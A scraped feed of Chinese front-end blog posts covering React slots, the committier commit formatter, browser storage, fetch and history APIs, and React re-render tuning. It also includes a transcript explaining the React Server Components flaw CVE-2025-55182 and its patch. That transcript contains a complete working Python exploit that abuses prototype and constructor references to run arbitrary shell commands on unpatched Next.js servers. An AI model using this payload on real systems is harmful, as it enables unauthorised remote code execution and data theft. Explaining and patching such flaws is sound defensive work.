        }}>
          登录
        </button>
      </Fill>
    </Navbar>
  );
}

七、最佳实践与性能优化

1. 插槽方案选择指南

  • 简单内容传递(无分区)→ children prop(默认插槽);
  • 固定多区域(如布局、卡片)→ 多 props 命名插槽(简洁高效);
  • 子组件传数据 + 父组件定制渲染 → 函数作为 children(作用域插槽);
  • 复杂组件(多插槽、深嵌套)→ 组件组合 + Context;
  • 追求 Vue 式简洁语法 → react-slot 第三方库。

2. 性能优化关键要点

  • 避免每次渲染创建新组件:将插槽内容提取到组件外部或使用 useMemo 缓存;

jsx

// 错误示例:每次渲染创建新对象/组件
<ProductCard>
  {{
    title: <h3>商品名称</h3>, // 每次渲染都是新元素
    action: <button>购买</button>
  }}
</ProductCard>

// 正确示例:缓存插槽内容
const productSlots = useMemo(() => ({
  title: <h3>商品名称</h3>,
  action: <button>购买</button>
}), []); // 无依赖项,仅渲染一次

<ProductCard>{productSlots}</ProductCard>
  • 避免不必要的 Context 嵌套:Context 会增加组件渲染开销,简单场景优先使用 props;
  • 边界处理:为所有插槽设置默认值,避免空渲染导致的布局错乱;
  • 减少插槽内容的重渲染:通过 React.memo 包装插槽组件,避免无关更新。

八、总结

React 虽无原生插槽语法,但通过 children prop、多 props、函数作为 children、组件组合 + Context 等原生能力,能实现比 Vue 更灵活的插槽效果。核心在于理解「插槽是组件间内容与数据的双向传递」—— 简单场景用 children,多区域用命名插槽,需传数据用作用域插槽,复杂场景用组件组合 + Context。

掌握 React 插槽的核心是「根据场景选择合适的实现方案」,并注重性能优化,避免过度封装。合理使用插槽能大幅提升组件的复用性与扩展性,是 React 组件化开发中的必备技巧。

git提交信息也能自动格式化了?committier快速体验

作者 于谦
2025年12月9日 11:27

demo.gif

git提交信息也能自动格式化了?committier快速体验

作为开发者,你是不是也有过这些提交代码的烦恼:手动写的Git提交信息格式混乱,团队协作时难以追溯变更;牢记Conventional Commits规范却总在细节上出错;用commitlint校验出问题还要手动修改提交消息;想要添加emoji却发现cz太难配合commitlint了?

最近发现了一款宝藏工具committier,它能直接实现Git提交信息的自动格式化,无需配置就能贴合规范。今天就带大家5分钟快速体验这款工具,彻底告别提交信息的“格式焦虑”。

Github仓库

文档主页

一、committier是什么?

committier是一款专注于Git提交消息“格式化与修复”的工具,和commitlint的“规则校验”定位不同,它更像提交消息领域的Prettier——不强制约束规则,而是自动优化格式、补充关键信息。

它默认遵循Conventional Commits规范,能智能推断提交类型、作用域,还能自动添加emoji,同时可以和commitlint无缝兼容,形成“格式化+校验”的完整链路,兼顾效率与规范。

据说AI生成提交信息的功能正在开发中,能利用Github Models免费使用,也能接入其他各家AI。

快速安装

committier支持多种安装方式,这里推荐项目级局部安装,适配团队协作场景,步骤超简单:

  1. 进入项目根目录,安装开发依赖
# 按需选择包管理器,这里以pnpm为例
pnpm add committier -D
  1. (可选)配置快捷脚本 在package.json中添加提交快捷命令,后续可一键启动交互式提交:
{
  "scripts": {
    "commit": "committier commit"
  }
}

如果只是想临时体验,甚至不用安装,直接通过npx调用:

npx committier <指令>

核心功能快速体验

体验1:提交时自动格式化

这是committier的核心能力,要实现“提交即格式化”,需借助husky配置Git钩子,步骤如下:

  1. 安装husky并初始化
pnpm add husky -D
pnpm husky init
  1. 配置commit-msg钩子 编辑项目根目录的.husky/commit-msg文件,添加committier的格式化指令(若有commitlint,需放在其前面):
npx --no -- committier edit $1
# 若有commitlint,保留下方指令,无则可省略
# npx --no -- commitlint --edit $1

配置完成后,咱们来实测效果: 执行常规的提交命令,故意写一个不规范的提交消息:

git add .
git commit -m "   FeAT add user login button"

原本松散的消息,会被committier自动格式化为:

✨ feat: add user login button

不仅补全了规范格式,还自动加上了功能类型对应的emoji,效果立竿见影!

体验2:交互式提交CLI

如果不想手动写提交消息,committier内置的交互式CLI能帮你“傻瓜式”生成规范消息,直接执行咱们之前配置的脚本:

pnpm commit

随后会进入问答式流程,只需按提示选择提交类型、填写变更描述,工具就会自动生成符合规范的提交消息:

commit.gif

若想测试流程不实际提交代码,可开启dry-run模式:

pnpm commit --dry-run

体验3:完美配合commitlint

如果你的项目已接入commitlint,只需额外配置一个emoji解析器,就能让两者完美兼容:

  1. commitlint.config.js中引入committier的解析器:
import { commitlintEmojiParser } from "committier/commitlint-emoji-parser";
export default {
  extends: ["@commitlint/config-conventional"],
  parserPreset: commitlintEmojiParser,
};
  1. 确保钩子执行顺序为committier在前、commitlint在后,即可先格式化再校验,既保格式又守规则。

深度解析:committier的格式化核心能力

committier的格式化并非简单的“补个符号”,而是围绕Conventional Commits规范的全维度自动优化,覆盖提交消息的各个组成部分,且全程无需手动干预。

1. 基础格式自动规整:从“杂乱”到“标准”

committier会自动将任意松散的提交消息,规整为[emoji] type(scope)!: description的标准格式,核心处理包括:

  • 符号与空格标准化:自动补全类型(type)与描述(description)之间的冒号+空格,清理多余的换行、空格;
  • 大小写与标点优化:默认将描述首字母转为小写(符合Conventional Commits规范),自动移除描述末尾的多余标点;
  • 破坏性变更标记处理:若提交消息中包含“BREAKING CHANGE”或手动标注“!”,会自动将“!”放在type/scope后,符合规范要求。

示例对比: 手动提交的不规范消息:

git commit -m "FEAT  add user login function!!  "

经committier格式化后:

✨ feat: add user login function

若包含破坏性变更: 手动提交:git commit -m "fix auth BREAKING CHANGE: token验证逻辑修改" 格式化后:🐛 fix(auth)!: token验证逻辑修改

2. 智能信息补全:无需手动指定type/scope

committier能基于代码变更内容或项目结构,自动推断关键信息,进一步降低手动编写成本:

  • 提交类型(type)自动推断:若未指定type,工具会根据变更文件类型/内容(如新增文件→feat、修复bug→fix、配置变更→chore)自动匹配默认type;
  • 作用域(scope)自动提取:开启autoScope配置后,可从monorepo工作区包名(如packages/button→button)、变更文件所属目录(如src/components/table→table)自动提取scope;
  • 空值自动补全:若提交消息仅写了核心描述(如“修改登录逻辑”),会自动补全默认type(如fix),避免消息缺失关键维度。

示例: 开启autoScope: "replaceToPackageName"后,在monorepo的packages/button目录提交:

git commit -m "优化按钮样式"

格式化后:

🐛 fix(button): 优化按钮样式

3. 正文与脚注格式化:保持结构整洁

除了提交标题(subject),committier还会优化提交消息的正文(body)和脚注(footer):

  • 自动为正文/脚注补充空行分隔,符合“标题空一行+正文+空一行+脚注”的规范结构;
  • 清理正文/脚注中的多余缩进、重复换行;
  • 保留脚注中的关键标记(如Closes #123BREAKING CHANGE:),确保关联issue、变更说明不丢失。

自定义配置

如果默认的emoji或提交类型不符合团队习惯,可快速修改配置。在项目根目录新建committier.config.js,示例如下:

import { defineConfig } from "committier";

export default defineConfig({
  // 关闭自动emoji(默认开启)
  autoEmoji: false,
  // 自动从工作区包名推断作用域
  autoScope: "replaceToPackageName",
  // 修改默认提交类型为feat
  defaultType: "feat"
  // 开启自动生成默认描述信息来兜底
  defaultDescription: true
});

committier支持多种格式的配置文件,哪怕只改个别字段,也能轻松覆盖默认行为。

体验总结

committier最打动我的点,在于零配置起步+无感格式化 5分钟就能完成接入,提交代码时无需额外操作,就能自动生成规范的提交消息,既降低了团队规范落地的门槛,又节省了手动调整格式的时间。

不管是个人小项目还是多人协作的大型项目,这款工具都能显著提升提交信息的质量和开发效率,还没试过的朋友不妨赶紧体验一波!

浏览器三大核心API:LocalStorage、Fetch API、History API详解

作者 JS_GGbond
2025年12月9日 11:24

欢迎使用我的小程序👇👇👇👇 [俱好用助手]

small.png


引言:为什么这些API如此重要?

想象一下,你正在构建一个现代化的网页应用。你想让用户的数据在关闭浏览器后依然保存,需要从服务器获取最新信息而不刷新页面,还要实现流畅的页面跳转体验。这就是LocalStorage、Fetch API和History API大显身手的时刻!

1. LocalStorage:浏览器的“本地笔记本”

什么是LocalStorage?

LocalStorage就像浏览器内置的一个小型数据库,允许你在用户的设备上存储数据。即使用户关闭浏览器或重启电脑,这些数据仍然存在。

基本用法

// 存储数据
localStorage.setItem('username', '张三');
localStorage.setItem('theme', 'dark');

// 读取数据
const username = localStorage.getItem('username');
console.log(username); // 输出:张三

// 删除单个数据
localStorage.removeItem('theme');

// 清空所有数据
localStorage.clear();

// 查看存储了多少数据
const count = localStorage.length;

实际应用场景

// 保存用户偏好设置
function saveUserPreferences() {
    const preferences = {
        theme: 'dark',
        language: 'zh-CN',
        fontSize: 16
    };
    localStorage.setItem('preferences', JSON.stringify(preferences));
}

// 读取偏好设置
function loadUserPreferences() {
    const saved = localStorage.getItem('preferences');
    if (saved) {
        return JSON.parse(saved);
    }
    return null;
}

// 记住登录状态
localStorage.setItem('isLoggedIn', 'true');
localStorage.setItem('userToken', 'abc123xyz');

注意事项

  • 只能存储字符串:存储对象需用JSON.stringify(),读取用JSON.parse()
  • 存储容量有限:通常为5-10MB,不同浏览器可能有差异
  • 同源策略:只有同一域名下的页面能访问相同的数据
  • 同步操作:大量数据可能影响页面性能

LocalStorage vs SessionStorage

// LocalStorage - 长期存储(关闭浏览器后还在)
localStorage.setItem('key', '永久保存');

// SessionStorage - 会话存储(标签页关闭就消失)
sessionStorage.setItem('key', '仅本次会话保存');

2. Fetch API:现代网络请求的“邮差”

什么是Fetch API?

Fetch API提供了一个更简单、更强大的替代方案来替代传统的XMLHttpRequest,用于从服务器获取资源。

基本用法

// 最简单的GET请求
fetch('https://api.example.com/data')
    .then(response => response.json())
    .then(data => console.log(data))
    .catch(error => console.error('错误:', error));

// 使用async/await更优雅
async function fetchData() {
    try {
        const response = await fetch('https://api.example.com/data');
        const data = await response.json();
        console.log(data);
    } catch (error) {
        console.error('请求失败:', error);
    }
}

完整请求示例

// POST请求,发送JSON数据
async function postData() {
    const userData = {
        name: '张三',
        email: 'zhangsan@example.com'
    };

    const response = await fetch('https://api.example.com/users', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'Authorization': 'Bearer token123'
        },
        body: JSON.stringify(userData)
    });

    if (!response.ok) {
        throw new Error('网络响应不正常');
    }

    return await response.json();
}

// 上传文件
async function uploadFile(file) {
    const formData = new FormData();
    formData.append('file', file);
    
    const response = await fetch('https://api.example.com/upload', {
        method: 'POST',
        body: formData
    });
    
    return response.json();
}

处理响应

fetch('https://api.example.com/data')
    .then(response => {
        // 检查状态码
        if (!response.ok) {
            throw new Error(`HTTP错误! 状态: ${response.status}`);
        }
        
        // 根据内容类型处理响应
        const contentType = response.headers.get('content-type');
        
        if (contentType.includes('application/json')) {
            return response.json();
        } else if (contentType.includes('text/html')) {
            return response.text();
        } else {
            return response.blob(); // 二进制数据
        }
    })
    .then(data => {
        // 处理数据
        console.log(data);
    })
    .catch(error => {
        // 错误处理
        console.error('请求失败:', error);
    });

3. History API:浏览器的“时光机”

什么是History API?

History API允许你在不重新加载页面的情况下操作浏览器的历史记录,是实现单页应用(SPA)的核心技术。

基本用法

// 获取当前历史记录状态
console.log(history.length); // 历史记录条数

// 后退一页
history.back();

// 前进一页
history.forward();

// 前进或后退多页
history.go(-2); // 后退两页
history.go(1);  // 前进一页

核心功能:pushState和replaceState

// 1. pushState - 添加新历史记录,不刷新页面
function navigateToPage(page) {
    const state = { page: page, timestamp: Date.now() };
    const title = `页面: ${page}`;
    const url = `/${page}`;
    
    history.pushState(state, title, url);
    updateContent(page); // 更新页面内容
}

// 2. replaceState - 替换当前历史记录
history.replaceState(
    { page: 'home' },
    '首页',
    '/home'
);

// 3. 监听popstate事件(用户点击前进/后退按钮)
window.addEventListener('popstate', (event) => {
    if (event.state) {
        // 根据state恢复页面状态
        restorePageState(event.state);
    }
});

实际应用:构建简单的SPA路由

// 定义路由
const routes = {
    '/': 'home.html',
    '/about': 'about.html',
    '/contact': 'contact.html'
};

// 初始化
document.addEventListener('DOMContentLoaded', () => {
    // 拦截链接点击
    document.body.addEventListener('click', (e) => {
        if (e.target.matches('[data-link]')) {
            e.preventDefault();
            navigateTo(e.target.href);
        }
    });
    
    // 监听浏览器前进后退
    window.addEventListener('popstate', loadContent);
    
    // 加载初始内容
    loadContent();
});

function navigateTo(url) {
    const path = new URL(url).pathname;
    
    // 更新浏览器地址栏,不刷新页面
    history.pushState({ path }, '', url);
    
    // 加载内容
    loadContent(path);
}

async function loadContent(path = location.pathname) {
    const page = routes[path] || '404.html';
    
    try {
        const response = await fetch(`pages/${page}`);
        const content = await response.text();
        
        document.getElementById('content').innerHTML = content;
        document.title = `我的网站 - ${path.substring(1) || '首页'}`;
    } catch (error) {
        document.getElementById('content').innerHTML = '<h2>页面加载失败</h2>';
    }
}

三大API的综合应用示例

让我们创建一个简单的待办事项应用,综合运用这三个API:

<!DOCTYPE html>
<html>
<head>
    <title>我的待办事项</title>
    <style>
        .completed { text-decoration: line-through; opacity: 0.6; }
    </style>
</head>
<body>
    <h1>待办事项</h1>
    <input type="text" id="todoInput" placeholder="输入新任务">
    <button onclick="addTodo()">添加</button>
    <ul id="todoList"></ul>
    <div>
        <button onclick="filterTodos('all')">全部</button>
        <button onclick="filterTodos('active')">未完成</button>
        <button onclick="filterTodos('completed')">已完成</button>
    </div>

    <script>
        // 从LocalStorage加载数据
        let todos = JSON.parse(localStorage.getItem('todos')) || [];
        let currentFilter = 'all';

        // 页面加载时初始化
        document.addEventListener('DOMContentLoaded', async () => {
            renderTodos();
            
            // 从服务器获取初始数据(如果本地没有)
            if (todos.length === 0) {
                await fetchInitialTodos();
            }
            
            // 初始化历史状态
            history.replaceState({ filter: 'all' }, '全部任务', '#all');
        });

        // 监听浏览器前进后退
        window.addEventListener('popstate', (event) => {
            if (event.state && event.state.filter) {
                currentFilter = event.state.filter;
                renderTodos();
            }
        });

        async function fetchInitialTodos() {
            try {
                const response = await fetch('https://api.example.com/todos');
                const data = await response.json();
                todos = data;
                saveToLocalStorage();
                renderTodos();
            } catch (error) {
                console.log('使用本地数据');
            }
        }

        function addTodo() {
            const input = document.getElementById('todoInput');
            const text = input.value.trim();
            
            if (text) {
                todos.push({
                    id: Date.now(),
                    text: text,
                    completed: false,
                    createdAt: new Date().toISOString()
                });
                
                input.value = '';
                saveToLocalStorage();
                renderTodos();
            }
        }

        function toggleTodo(id) {
            const todo = todos.find(t => t.id === id);
            if (todo) {
                todo.completed = !todo.completed;
                saveToLocalStorage();
                renderTodos();
            }
        }

        function changeFilter(filter) {
            currentFilter = filter;
            
            // 更新URL和历史记录
            history.pushState(
                { filter: filter },
                `${filter}任务`,
                `#${filter}`
            );
            
            renderTodos();
        }

        function renderTodos() {
            const filteredTodos = todos.filter(todo => {
                if (currentFilter === 'active') return !todo.completed;
                if (currentFilter === 'completed') return todo.completed;
                return true;
            });

            const list = document.getElementById('todoList');
            list.innerHTML = filteredTodos.map(todo => `
                <li onclick="toggleTodo(${todo.id})" 
                    class="${todo.completed ? 'completed' : ''}">
                    ${todo.text}
                    <small>${new Date(todo.createdAt).toLocaleDateString()}</small>
                </li>
            `).join('');
        }

        function saveToLocalStorage() {
            localStorage.setItem('todos', JSON.stringify(todos));
        }

        // 为按钮绑定事件
        window.filterTodos = changeFilter;
        window.addTodo = addTodo;
        window.toggleTodo = toggleTodo;
    </script>
</body>
</html>

总结对比

特性 LocalStorage Fetch API History API
主要用途 本地数据存储 网络请求 历史记录管理
数据持久性 永久存储 临时请求 会话期间
是否需要网络
典型应用 用户偏好、离线数据 获取API数据、提交表单 SPA路由、页面状态
异步操作 同步 异步 同步/异步

最佳实践建议

  1. LocalStorage

    • 不要存储敏感信息(密码、令牌等)
    • 存储前压缩大数据
    • 定期清理过期数据
  2. Fetch API

    • 始终添加错误处理
    • 设置请求超时
    • 使用适当的请求头
  3. History API

    • 确保URL变化与内容同步
    • 提供有意义的state对象
    • 处理浏览器前进/后退按钮

这三个API是现代前端开发的基石,掌握它们将让你能够构建更加流畅、响应迅速的Web应用。从今天开始尝试在你的项目中使用它们吧!

为什么React的漏洞能攻破服务器?Next.js与RSC入门基础

2025年12月9日 11:19

视频版:www.bilibili.com/video/BV1Bw…

只需要向着网页地址 POST 请求这么一段特殊的数据,就能直接攻破网页的服务器端,为所欲为。

import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "calc"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

比如这个命令 calc 是打开电脑上的计算器,我执行一下这个 Python 脚本,竟然真的打开了电脑上的计算器。 这就是前几天爆出的 React 生态的严重漏洞 CVE-2025-55182,评级是 10 分,是最高危险级别的漏洞。攻击者不需要任何授权,只需要通过你网站的公开地址,就能在你的服务器上执行任意的恶意代码。相信很多观众朋友们都会有一个疑惑,React 不是一个类似于 VUE 的前端框架吗?为什么前端框架的漏洞能影响到服务器上面,还能被黑客攻击服务器?其实 React 发展至今,已经不是一个纯的前端库了,而是具备了前后端一体的全栈架构。本期视频我们就以这个漏洞作为引子,介绍下 React 生态近几年的最大更新,也就是 React Server Component,React 服务器端组件,简称 RSC。

React Server Component (RSC)

简单来说,RSC 允许组件的代码在服务器端运行,最终只把 HTML 结果传递给客户端,而不再把逻辑都放到前端的 Javascript 里面。这次漏洞就是服务器组件(RSC)的反序列化漏洞,黑客攻击的是服务器端(RSC)的反序列化功能,从而导致黑客可以直接攻破服务器。

在 2020 年,React 的核心团队提出了 RSC 的概念。两年后 Vercel 公司在 Next.js 13 版本率先开始支持 RSC。事实上,Next.js 母公司 Vercel 就是这几年 RSC 背后最大的推手。Vercel 希望通过 RSC 把整个 React 生态绑到自家的部署平台 vercel.com 上面,当然他们也取得了成功。据统计,全球新建的 React 项目里面,有 70% 直接选用了 Next.js 框架加 Vercel 平台进行部署,这一步棋也给 Vercel 平台带来了巨大的收入增长。到目前为止,Next.js 是唯一一个在生产环境完整支持了 RSC (服务器组件) 的框架。我们在社区里面提到 RSC (服务器组件),几乎就等于 Next.js。所以这次漏洞 Next.js 框架首当其冲,Next.js 也是受到漏洞影响最大的重灾区。本期视频,我们先来简单介绍并且回顾下这次的漏洞,然后我们再来实战介绍下 Next.js 与 RSC。

漏洞攻击复现

我们先在电脑上复现一下这次的攻击。我来到桌面,右键在终端打开,然后我们执行这个命令,创建一个 Next.js 项目。 这里最新的版本 16.0.7 已经修复了这个漏洞,所以我回退一个版本,用 16.0.6 来复现一下攻击过程。 执行这个命令的前提是,你电脑上需要安装过 Node.js。回车,这里输入一个项目的名字,我叫 next-test,回车,然后一路点击回车就行了。命令执行完了,我们看到这里提示我们有一个致命级的安全漏洞。 然后我们进入刚才创建的文件夹,执行这个命令 npm run dev,把这个 Next.js 工程启动起来。 这里有一个本地地址就可以访问到项目的主页。这是一个 Next.js 项目最初始的状态,我没有修改一行代码。

接下来我们来到 GitHub,找到跟这个漏洞同名的一个仓库,github.com/msanft/CVE-…

这里面有一个 Python 文件,我们用它就可以简单地复现这次攻击。 找到这个文件以后,在 GitHub 这边点击 download,把这个 Python 脚本下载下来打开。在第 9 行这里填写一个攻击命令,比如在 Windows 上有一个命令 calc,执行这个命令就可以打开电脑上的计算器。那这里我就把攻击的命令换成 calc 接下来我们运行这段 Python 脚本:python poc.py,回车。攻击成功了,calc 命令执行了,电脑上的计算器被打开了。

漏洞原理简析

这个漏洞的可怕之处在于,攻击者在这里可以执行任意的恶意命令,比如可以查看数据库密码、窃取数据库里面的数据,甚至植入木马病毒等等。而且这次漏洞覆盖面也非常的广,只要 Next.js 的版本是 15 或者 16,哪怕是一个完全空白的项目,都有可能会中招。只有把 Next.js 升级到这里补丁之后的版本才能避免。

在我们用的这个 Python 脚本的仓库里面,有关于这个漏洞的详细解释。我不是 React 专家,这里我只能简单总结一下。我们看到,React 使用一种叫做 flight 的协议,把客户端的数据序列化后传到服务器,每一行都是一个数据块。 这种协议允许值之间的相互引用,比如这里我们看到 $2 就引用了下一行的数据,最后在服务器里面可以还原成 { name: 'cherry' } 这种对象。 通过利用对象之间的引用关系,攻击者能够找到这个对象的原型对象,顺着原型对象最终会找到 Function 构造器,这是 Javascript 中所有函数的构造器。通过这个构造器就能创建出任意的恶意函数,然后攻击者再通过 thenable 机制运行构造出来的恶意函数,完成攻击。我们看到,官方的修复方法是在引用对象的时候,确保只能读取对象自有的属性,阻止了对象对于原型或者构造器的访问,这样漏洞就被封堵住了。

修复漏洞

我们先把本地的这个项目的漏洞修补一下,然后我们再来介绍 Next.js 与 RSC。我们在官方的文档里面可以看到,React 的修复版本发布到了这三个版本,我这里是 19.2.0,这里我升级到 19.2.1。 然后下面对于 Next.js 用户来说,16 版本应该升级到 16.0.7。这里我把版本号改成 16.0.7。 然后我们打开一个终端,执行 npm install 重新安装一下依赖。这样我们就完成了漏洞的修复。接下来我们用一个实战案例,再介绍下 Next.js 与 RSC。

Next.js 与 RSC 实战

我们打开项目的 app 目录,找到这个 page.tsx 文件,这个文件对应的也就是项目这边的默认首页。 这个 page.tsx 文件里面的代码,其实已经是服务器端组件 (RSC) 了。在 Next.js 13 版本以后,只要不是特别声明,所有的组件默认都是服务器端组件 (RSC)。RSC 组件的代码逻辑都是在服务器端运行,当然用这个文件来看 RSC 并不明显,我们再来看一个例子。

这里我在 app 目录下面新建一个文件夹叫 users,在文件夹里面再新建一个文件 page.tsx 然后我们写上这段代码。 使用这段代码之前,我们需要先安装 postgres 的依赖。打开一个命令行窗口,执行 npm install postgres。依赖安装好了,我们来看一下这段代码的逻辑。这里新建了一个 postgres 的数据库连接,然后我们直接从数据库里面查询到了所有的用户,然后在下面的 React 组件里面遍历这个用户的数组,把用户的名字还有 Email 都组装好,最终组装成一个页面。我们来试一下,在浏览器这边,我们只需要输入跟目录同样的名字,也就是 /users,我们看到用户列表显示出来了。

然后我们点击 F12 看一下浏览器的请求。我切换到网络选项卡,再刷新一下页面。我找到 users 这个请求,我们来看一下是怎么回事。我们看到,users 返回过来的不是一个 JSON 数据,而是一个完整的 HTML 代码。 我们需要展示的用户,直接以 HTML 标签的形式封装(内嵌)到了这个页面里面。点击预览看得更清楚一点。 这个就是服务器组件的最大特性。

在传统的前后端分离的 Web 系统中,浏览器是先拿到 HTML + JS 代码,然后调用 JS 代码里面的逻辑,使用 fetch 方法调用后端接口,后端把数据用 JSON 等格式组装好传递给浏览器,浏览器端再把数据渲染到页面上面。RSC(服务器组件)则是另外一种路线,后端直接把需要展示的数据拼接到 HTML 文件里面返回给前端。这么做有几个好处: 1. 首先不需要给前端传递 JS 文件,减少了网络带宽。 2. 第二个好处是数据已经内嵌进了 HTML 网页,不需要额外调用后台接口来传递数据,大大加快了加载速度。 3. 第三个好处是代码简洁,不用写前后端的接口代码,几行代码就能完整实现一个从数据库取数据并且展示在网页上的功能。

因为这个文件是服务器端组件,即使把数据库的用户名、密码写到了这个文件里面,浏览器上也是看不到的。连接数据库、读取数据,这些逻辑都是在服务器端执行的。在浏览器那边,只能看到最终的执行结果,也就是 HTML 网页,是看不到中间的业务逻辑的,这样也能有效的保护隐私。

客户端组件 vs. 服务器端组件

Next.js 除了支持编写服务器端组件 (RSC),当然也支持编写客户端组件。这里我们在 user 目录下面新建一个文件,叫 counter.tsx。我们新写了一个组件,这里有一个按钮,每点击一次,这里的计数就会加一。 在文件的开头写了 'use client',声明这是一个客户端组件。

我们看到服务端组件跟客户端组件,它仅仅是差了这么一行。就这么一小句话,带来的影响非常的大。客户端组件跟服务器端组件,它有本质上的区别。所以使用 Next.js 框架的时候,我们一定要小心在意,到底哪些代码执行在服务器上面的,哪些代码执行在客户端上面的。特别是我们使用 AI 编程的时候,AI 一般对这个安全意识是比较欠缺的,AI 很可能会把客户端代码跟服务端代码混到一起去乱写,所以我们一定要小心在意,仔细区分,不要把 API Key 等敏感数据写到客户端代码里面。

Next.js 还有一个好处,就是它的客户端代码跟服务端代码可以嵌套使用。比如这个文件,它是服务端组件,我们可以直接把一个客户端组件 Counter 直接引用进来,然后在下面写上 <Counter /> 我们来试一下。我们看到一个服务端组件里面,嵌套了一个客户端组件,然后我们点击这个按钮,计数可以增加。 我们一般把这种跟用户需要交互的组件写成客户端组件,把这种不会变化的、不需要交互的组件写成服务端组件。在嵌套的时候有一点要注意:服务端组件里面可以嵌套客户端组件,但是客户端组件里面不能嵌套服务端组件。

总结

本期视频我们借助这次的漏洞分析,介绍了 Next.js 框架与 RSC 的基础入门。等以后有时间,我会专门做一期长视频,完整的再次介绍 Next.js 框架。Next.js 在海外十分的流行,它允许开发者只用 JS 语言,直接构建出前后端的应用。Next.js 还有个特点是跟 AI 编程是绝配。首先 AI 很擅长做小型项目的开发,而且 AI 大多精通于 JS 语言,所以 AI 编程很适合搭配 Next.js,直接前后端一把梭,快速落地一个完整的应用。但是 Next.js 这种前后端代码混在一起写的方式,经验不足的开发者使用 AI 很可能会带来很大的安全隐患。

所以我认为作为 AI 时代的开发者,需要对框架有着更深入的理解。这是我一直以来的一个观点,我们需要把更多的精力从代码的细枝末节上面,转移到对架构的设计还有开发框架的理解上面,这也就是我做这期视频的原因。好,今天的视频就到这里,感谢大家,我们下期再见。

【TS】any的问题及与unknown的区别

作者 浩浩酱
2025年12月9日 11:18

any的使用场景

一旦设置为any,类型检查系统会认为这个值不需要检查,一般用于

1.出于特殊原因,需要关闭某些值的类型检查

2.为了适配老旧的js项目,快速迁移到ts,可以把代码设置为any,因为对于老旧js项目很难做到给每个值都加上类型定义

any带来的问题

let a:any = 'string'
let b:number = a //可以赋值不会报错

b.toFixed()  // 报错

由于any类型可以赋值给任何类型,所以会污染其他变量,像以上案例,运行时才会爆出错误

unknown

和any类型类似,如果设置为unknown,可以赋值任何值,和any区别:

1.unknown类型的变量,只能赋值给any和unknown类型的变量,赋值给其他类型报错

let a:unknown = 'string'

let b:number = a //报错
let c:any = a // 不报错

2.unknown类型的变量不能直接使用变量上的方法和属性

let a:unknown = 'string'
a.trim() // 报错
//如果想不报错,可以这么写
if(typeof a === 'string') {
    a.trim() // 不会报错
}

React 避坑指南:彻底搞定不必要的重新渲染

2025年12月9日 11:16

“我的页面就改了个弹窗开关,为什么整个列表都闪了一下?”
—— 如果你也曾这样怀疑人生,这篇内容就是为你写的。


一、为什么“重新渲染”这么贵?

React 的默认行为是:父组件一更新,所有子组件无条件跟着渲染
在小型 Demo 里这没什么,但在真实业务里:

  • 列表 1000 项,每项 20 个 DOM,一次渲染就是 2 万次比对;
  • 图表、表格、富文本编辑器初始化一次要几百毫秒;
  • 低端手机掉帧、风扇狂转、用户开始骂娘。

性能优化第一性原理
“不要阻止 React 更新,而是让它根本没必要更新。”


二、10 个实战招式,招招致命

招式 一句话记忆 典型场景 代码片段
① React.memo “子组件 props 没变就别来烦我” 纯展示组件 export default React.memo(Card)
② useCallback “函数引用给我稳住” 传给子组件的回调 const onClick = useCallback(() => {}, [id])
③ useMemo “对象/数组也给我稳住” 过滤、排序、映射 const list = useMemo(() => filter(raw), [raw, key])
④ 状态下放 “状态别放爷爷组件” 弹窗、开关、表单 isOpen 放到 <Modal> 父级,而非 App 根
⑤ 拆分小组件 “大组件=大锅饭” 列表项、卡片 1000 行上帝组件拆成 20 行 Item 组件
⑥ 容器/展示 “数据层与视图层离婚” 任何页面 容器取数 → 展示 memo
⑦ Context 拆值 “Context value 别每次新对象” 主题、用户 useMemo 包 value,或拆成两个 Context
⑧ 禁用 render 新建组件 “别在函数里写函数组件” 动态渲染 组件定义放顶层
⑨ 状态管理库 “props drilling 超过 3 层就上库” 跨页面共享 Zustand / Redux / Jotai
⑩ Profiler 复盘 “先量化,再优化” 任何优化前后 React DevTools → Profiler → 录制 → 对比

三、案例复盘:一个“搜索列表”从 450 ms 到 45 ms

1. 背景

  • 商品列表 500 条,支持关键字搜索、分类筛选;
  • 每次输入字符,整个页面闪一下,搜索框掉帧;
  • 测试手机:Redmi Note 9。

2. 问题定位(Profiler)

  1. 输入字符 → 根组件 setState → 整页重新渲染;
  2. 列表项组件未 memo,每条都执行 render;
  3. 过滤函数在 render 内执行,O(n) 复杂度 × 500;
  4. 回调函数每次新建,导致 memo 失效。

3. 四步优化

Step 1 状态下放
把搜索关键字 keyword 从 App 根级放到 <SearchList> 组件,其他模块不再受牵连。

Step 2 缓存计算

const filtered = useMemo(
  () => goods.filter(g => g.name.includes(keyword)),
  [goods, keyword]
);

Step 3 缓存回调

const onAddCart = useCallback((id) => cart.add(id), [cart]);

Step 4 列表项 memo

const Item = React.memo(({ goods, onAddCart }) => (
  <div>
    <span>{goods.name}</span>
    <button onClick={() => onAddCart(goods.id)}>加购</button>
  </div>
));

4. 结果

  • 输入字符时,仅 SearchList 与列表重新渲染,Header、Sidebar、Footer 纹丝不动;
  • 单次渲染耗时从 450 ms → 45 ms;
  • 掉帧率从 18% → 0%。

四、最容易踩的 5 个“反模式”

  1. 在 render 里写箭头函数
    <button onClick={() => handleClick(id)} />
    → 每次新引用,子组件 memo 失效。

  2. 在 render 里新建对象
    <Child style={{ color: 'red' }} />
    → 同上,用 useMemo 或提前声明常量。

  3. 把函数组件写在另一个组件内部
    见上文“新建组件类型”。

  4. 滥用 key 来“刷新”组件
    只有身份变更才改 key,局部数据更新请用状态。

  5. Context value 直接传对象字面量

    <AuthCtx value={{ user, setUser }}>  
    

    → 每次渲染都生成新对象,所有消费者重渲染。
    解决:

    const value = useMemo(() => ({ user, setUser }), [user]);
    

五、checklist:上线前必查的 8 个问题

